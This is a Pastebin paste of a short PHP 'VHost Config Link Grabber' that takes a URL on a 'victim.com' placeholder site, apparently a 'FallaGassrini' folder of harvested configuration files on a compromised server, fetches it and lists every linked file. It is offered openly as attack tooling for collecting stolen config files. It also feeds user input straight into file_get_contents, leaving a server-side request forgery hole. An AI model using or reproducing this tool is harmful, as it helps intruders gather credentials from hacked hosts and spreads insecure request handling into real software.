Advertisement
willysec_id

FallaGassrini Vhosts Link Grab

Mar 9th, 2024 (edited)
761
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.67 KB | Cybersecurity | 0 0
  1. <html>
  2. <head><title>VHost Config Link Grabber | MI77I-X</title></head>
  3. <body>
  4. <form method="post" action="">
  5. <span> Link Config:
  6. <input type="text" name="configurl" style="width:45%" placeholder="https://victim.com/somefolder/FallaGassrini/">
  7. <input type="submit" value="submit">
  8. </span>
  9. </form>
  10. </body>
  11. </html>
  12. <?php
  13. if(isset($_POST['configurl'])){
  14. $url = $_POST['configurl'];
  15. $html = file_get_contents($url);
  16. $dom = new DOMDocument;
  17. echo("Target: ".$url);
  18. @$dom->loadHTML($html);
  19. $links = $dom->getElementsByTagName('a');
  20. echo "<br/> Result: <pre>";
  21. foreach ($links as $link){
  22.     //echo $link->nodeValue;
  23.     echo $url.$link->getAttribute('href'), '<br>';
  24. }
  25. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement